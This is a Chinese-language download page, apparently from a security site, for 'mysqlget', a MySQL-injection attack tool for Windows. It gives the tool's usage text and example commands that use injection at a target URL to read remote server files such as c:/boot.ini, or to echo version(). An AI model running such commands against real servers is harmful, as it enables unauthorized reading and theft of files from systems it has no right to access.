提交时间:2006-10-09 更新时间:2006-10-18 提交用户:cooldiyer 工具分类:攻击程序 运行平台:Windows 工具大小:15462 Bytes 文件MD5 :c79182d66316239fdb274c749d0246ba 工具来源:cooldiyer
mysqlget for mysql injection Version 1.0.3 xdiyer at gmail.com http://xdiyer.uni.cc ---------------------------------------------------
Usage: mysqlget <options> <Thread>
Options: -t Target injection URL include %s to replace. -f Remote file to load or Function to echo. -s Local file to saved.If file exists,async append -r Range of remote file's offset or bytes -Mr Match code case response right. -Me Match code case response error.
Example: mysqlget -t http://localhost/index.php?id=1%s -f c:/boot.ini -s E:/data.txt -Mr test 8 #Means get remote file all data save to local
mysqlget -t http://localhost/index.php?id=1%s -f c:/boot.ini -s E:/data.txt -r 1-200 -Mr test 8 #Means get remote file 1-200 bytes save to local
mysqlget -t http://localhost/index.php?id=1%s -f c:/boot.ini -s E:/data.txt -r 300 -Mr test 8 #Means get remote file 300 bytes down or async append to local file
mysqlget -t http://localhost/index.php?id=1%s -f version() -Mr test 8 #Means echo function version()
注:本程序为用户上传,XFOCUS 未对其进行严格审计,无法保证其中不包含无意感染的病毒、编程失误导致的危险代码或故意添加的后门。XFOCUS不对因使用本程序造成的任何后果负责。我们建议您在不包含敏感数据的测试环境中运行该程序。
>> 下载 << |